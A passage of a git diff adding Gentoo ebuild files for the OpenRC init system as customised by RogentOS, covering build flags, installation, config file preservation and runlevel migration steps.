+		LIBEXECDIR=${EPREFIX}/$(get_libdir)/rc
+		MKSELINUX=$(usex selinux)
+		MKSTATICLIBS=$(usex static-libs)
+	MKTOOLS=$(usex tools)"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	export BRANDING="RogentOS ${brand}"
+	use newnet || MAKE_ARGS="${MAKE_ARGS} MKNET=oldnet"
+	use prefix && MAKE_ARGS="${MAKE_ARGS} MKPREFIX=yes PREFIX=${EPREFIX}"
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${ED}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${ED}"/$(get_libdir)/lib{einfo,rc}* "${ED}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	if ! use kernel_linux; then
+		keepdir /$(get_libdir)/rc/init.d
+	fi
+	keepdir /$(get_libdir)/rc/tmp
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${ED}"/etc/runlevels "${ED}"/usr/share/${PN} || die
+	rm -rf "${ED}"/etc/runlevels
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${ED}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# RogentOS customization, do not bug user with annoying updates (for now)
+	mv "${ED}"/etc/conf.d/keymaps "${ED}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${ED}"/etc/conf.d/hwclock "${ED}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+
+	# install documentation
+	dodoc README.busybox
+	if use newnet; then
+		dodoc README.newnet
+	fi
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e "${ED}"/etc/init.d/${initd} || -e "${EROOT}"etc/init.d/${initd} ]] \
+		|| return
+	[[ -e "${EROOT}"etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d "${EROOT}"etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${EROOT}"etc/runlevels/${runlevel}
+		touch "${EROOT}"etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf /etc/init.d/${initd} "${EROOT}"etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${EROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${EROOT}"${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	local conf_file
+	# RogentOS customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e "${EROOT}"etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${EROOT}"etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# swapfiles was added in 0.9.9 and needed in boot (february 2012)
+	has_version ">=sys-apps/openrc-0.9.9" || add_boot_init swapfiles
+
+	if ! has_version ">=sys-apps/openrc-0.11"; then
+		add_boot_init sysfs sysinit
+	fi
+
+	if ! has_version ">=sys-apps/openrc-0.11.3" ; then
+		migrate_udev_mount_script
+		add_boot_init tmpfiles.setup boot
+	fi
+
+	# these were added in 0.12.
+	if ! has_version ">=sys-apps/openrc-0.12"; then
+		add_boot_init loopback
+		add_boot_init tmpfiles.dev sysinit
+
+		# ensure existing /etc/conf.d/net is not removed
+		# undoes the hack to get around CONFIG_PROTECT in openrc-0.11.8 and earlier
+		# this needs to stay in openrc ebuilds for a long time. :(
+		# Added in 0.12.
+		if [[ -f "${EROOT}"etc/conf.d/net ]]; then
+			einfo "Modifying conf.d/net to keep it from being removed"
+			cat <<-EOF >>"${EROOT}"etc/conf.d/net
+
+# The network scripts are now part of net-misc/netifrc
+# In order to avoid sys-apps/${P} from removing this file, this comment was
+# added; you can safely remove this comment.  Please see
+# /usr/share/doc/netifrc*/README* for more information.
+EOF
+		fi
+	fi
+}
+
+# >=OpenRC-0.11.3 requires udev-mount to be in the sysinit runlevel with udev.
+migrate_udev_mount_script() {
+	if [ -e "${EROOT}"etc/runlevels/sysinit/udev -a \
+		! -e "${EROOT}"etc/runlevels/sysinit/udev-mount ]; then
+		add_boot_init udev-mount sysinit
+	fi
+	return 0
+}
+
+pkg_postinst() {
+	local conf_file
+	# RogentOS customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+
+	local LIBDIR=$(get_libdir)
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e "${EROOT}"etc/runlevels ]] || [[ -e "${EROOT}"etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${EROOT}"usr/share/${PN}/runlevels "${EROOT}"etc
+		rm -f "${EROOT}"etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e "${EROOT}"etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/sysinit
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/sysinit/* \
+				"${EROOT}"etc/runlevels/sysinit
+		fi
+		if [[ ! -e "${EROOT}"etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/shutdown
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/shutdown/* \
+				"${EROOT}"etc/runlevels/shutdown
+		fi
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${EROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${EROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${EROOT}etc/local.d"
+		mv "${EROOT}"etc/conf.d/local.start "${EROOT}"etc/local.d/baselayout1.start
+		mv "${EROOT}"etc/conf.d/local.stop "${EROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${EROOT}"etc/local.d/*{start,stop}
+	fi
+
+	if use kernel_linux && [[ "${EROOT}" = "/" ]]; then
+		if ! /$(get_libdir)/rc/sh/migrate-to-run.sh; then
+			ewarn "The dependency data could not be migrated to /run/openrc."
+			ewarn "This means you need to reboot your system."
+		fi
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${EROOT}" = "/" ]] && "${EROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	if ! use newnet && ! use netifrc; then
+		ewarn "You have emerged OpenRc without network support. This"
+		ewarn "means you need to SET UP a network manager such as"
+		ewarn "	net-misc/netifrc, net-misc/dhcpcd, net-misc/wicd,"
+		ewarn "net-misc/NetworkManager, or net-misc/badvpn."
+		ewarn "Or, you have the option of emerging openrc with the newnet"
+		ewarn "use flag and configuring /etc/conf.d/network and"
+		ewarn "/etc/conf.d/staticroute if you only use static interfaces."
+	fi
+
+	if use newnet && [ ! -e "${EROOT}"etc/runlevels/boot/network ]; then
+		ewarn "Please add the network service to your boot runlevel"
+		ewarn "as soon as possible. Not doing so could leave you with a system"
+		ewarn "without networking."
+	fi
+
+	ewarn "In this version of OpenRC, the loopback interface no longer"
+	ewarn "satisfies the net virtual."
+	ewarn "If you have services now which do not start because of this,"
+	ewarn "They can be fixed by adding rc_need=\"!net\""
+	ewarn "to the ${EROOT}etc/conf.d/<servicename> file."
+	ewarn "You should also file a bug against the service asking that"
+	ewarn "need net be dropped from the dependencies."
+	ewarn "The bug you file should block the following tracker:"
+	ewarn "https://bugs.gentoo.org/show_bug.cgi?id=439092"
+
+	ewarn "This version of OpenRC doesn't enable nfs mounts automatically any"
+	ewarn "longer. In order to mount nfs file systems, you must use the"
+	ewarn "nfsmount service from the nfs-utils package."
+	ewarn "See bug https://bugs.gentoo.org/show_bug.cgi?id=427996 for"
+	ewarn "more information on this."
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+}
diff --git a/sys-apps/openrc/openrc-0.12_pre1-r1.ebuild b/sys-apps/openrc/openrc-0.12_pre1-r1.ebuild
new file mode 100644
index 00000000..cc6b258a
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.12_pre1-r1.ebuild
@@ -0,0 +1,518 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic multilib pam toolchain-funcs
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+
+if [[ ${PV} == "0.12_pre1" ]]; then
+	EGIT_REPO_URI="git://github.com/OpenRC/openrc.git"
+	EGIT_COMMIT="9f14fd7ae10d8ae724045a57a2eb25c1d4290a3b"
+	inherit git-2
+	KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+else
+	SRC_URI="http://dev.gentoo.org/~williamh/dist/${P}.tar.bz2"
+	KEYWORDS="alpha amd64 arm hppa ia64 m68k ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam newnet prefix selinux static-libs unicode
+	kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	>=sys-apps/baselayout-2.1-r1
+	kernel_linux? (
+		sys-process/psmisc
+	)
+	!<sys-fs/udev-init-scripts-17
+	!<sys-fs/udev-133"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "0.12_pre1" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# RogentOS custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+
+	# Sabayon bug fixes
+	epatch "${FILESDIR}/${PN}-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch"
+
+	# Fix pam_systemd + logind support
+	epatch "${FILESDIR}/0001-Filter-the-systemd-cgroup-from-the-current-process.patch"
+}
+
+src_compile() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS}
+		LIBNAME=$(get_libdir)
+		LIBEXECDIR=${EPREFIX}/$(get_libdir)/rc"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="RogentOS ${brand}"
+	if ! use static-libs; then
+			MAKE_ARGS="${MAKE_ARGS} MKSTATICLIBS=no"
+	fi
+	use newnet || MAKE_ARGS="${MAKE_ARGS} MKNET=oldnet"
+	use prefix && MAKE_ARGS="${MAKE_ARGS} MKPREFIX=yes PREFIX=${EPREFIX}"
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${ED}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${ED}"/$(get_libdir)/lib{einfo,rc}* "${ED}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	if ! use kernel_linux; then
+		keepdir /$(get_libdir)/rc/init.d
+	fi
+	keepdir /$(get_libdir)/rc/tmp
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${ED}"/etc/runlevels "${ED}"/usr/share/${PN} || die
+	rm -rf "${ED}"/etc/runlevels
+
+	# Install the default net configuration
+	doconfd conf.d/net
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${ED}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# RogentOS customization, do not bug user with annoying updates (for now)
+	mv "${ED}"/etc/conf.d/keymaps "${ED}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${ED}"/etc/conf.d/hwclock "${ED}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e "${ED}"/etc/init.d/${initd} || -e "${EROOT}"etc/init.d/${initd} ]] \
+		|| return
+	[[ -e "${EROOT}"etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d "${EROOT}"etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${EROOT}"etc/runlevels/${runlevel}
+		touch "${EROOT}"etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf "${EROOT}"etc/init.d/${initd} "${EROOT}"etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${EROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${EROOT}"${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	local conf_file
+	# RogentOS customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	# RogentOS, use cp -d as per Gentoo bug #462674
+	[[ -e "${EROOT}"etc/conf.d/net ]] && \
+		cp -d "${EROOT}"etc/conf.d/net "${ED}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e "${EROOT}"etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${EROOT}"etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${EROOT}etc/conf.d/clock && ! -e ${EROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${EROOT}"etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${EROOT}"etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e "${EROOT}"etc/conf.d/clock ]] ; then
+		mv "${EROOT}"etc/conf.d/clock "${EROOT}"etc/conf.d/${clock}
+	fi
+	if [[ -e "${EROOT}"etc/init.d/clock ]] ; then
+		rm -f "${EROOT}"etc/init.d/clock
+	fi
+	if [[ -L "${EROOT}"etc/runlevels/boot/clock ]] ; then
+		rm -f "${EROOT}"etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${EROOT}"etc/runlevels/boot/${clock}
+	fi
+	if [[ -L "${EROOT}"${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${EROOT}"${LIBDIR}/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clok} "${EROOT}"${LIBDIR}/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e "${EROOT}"etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${EROOT}"etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# swapfiles was added in 0.9.9 and needed in boot (february 2012)
+	has_version ">=sys-apps/openrc-0.9.9" || add_boot_init swapfiles
+
+	if ! has_version ">=sys-apps/openrc-0.11"; then
+		add_boot_init sysfs sysinit
+	fi
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+	if ! has_version ">=sys-apps/openrc-0.11.3" ; then
+		migrate_udev_mount_script
+		add_boot_init tmpfiles.setup boot
+	fi
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+# >=OpenRC-0.11.3 requires udev-mount to be in the sysinit runlevel with udev.
+migrate_udev_mount_script() {
+	if [ -e "${EROOT}"etc/runlevels/sysinit/udev -a \
+		! -e "${EROOT}"etc/runlevels/sysinit/udev-mount ]; then
+		add_boot_init udev-mount sysinit
+	fi
+	return 0
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${ED}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e "${EROOT}"sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e "${EROOT}"sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e "${EROOT}"${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e "${EROOT}"etc/conf.d/rc ]] && source "${EROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d "${EROOT}"${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${EROOT}"${LIBDIR}/rc/init.d
+			einfo "Moving state from ${EROOT}${svcdir} to ${EROOT}${LIBDIR}/rc/init.d"
+			mv "${EROOT}${svcdir}"/* "${EROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${EROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${EROOT}${LIBDIR}"/rc/init.d/console
+			umount "${EROOT}${svcdir}" 2>/dev/null
+			rm -rf "${EROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${EROOT}"etc/modules.autoload.d/.keep*
+		rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${EROOT}"etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${ED}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	local conf_file
+	# RogentOS customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${EROOT}"etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${EROOT}"etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e "${EROOT}"etc/runlevels ]] || [[ -e "${EROOT}"etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${EROOT}"usr/share/${PN}/runlevels "${EROOT}"etc
+		rm -f "${EROOT}"etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e "${EROOT}"etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/sysinit
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/sysinit/* \
+				"${EROOT}"etc/runlevels/sysinit
+		fi
+		if [[ ! -e "${EROOT}"etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/shutdown
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/shutdown/* \
+				"${EROOT}"etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${EROOT}etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${EROOT}etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${EROOT}etc/conf.d/net"
+		elog "after reviewing ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${EROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${EROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${EROOT}etc/local.d"
+		mv "${EROOT}"etc/conf.d/local.start "${EROOT}"etc/local.d/baselayout1.start
+		mv "${EROOT}"etc/conf.d/local.stop "${EROOT}"etc/local.d/baselayout1.stop
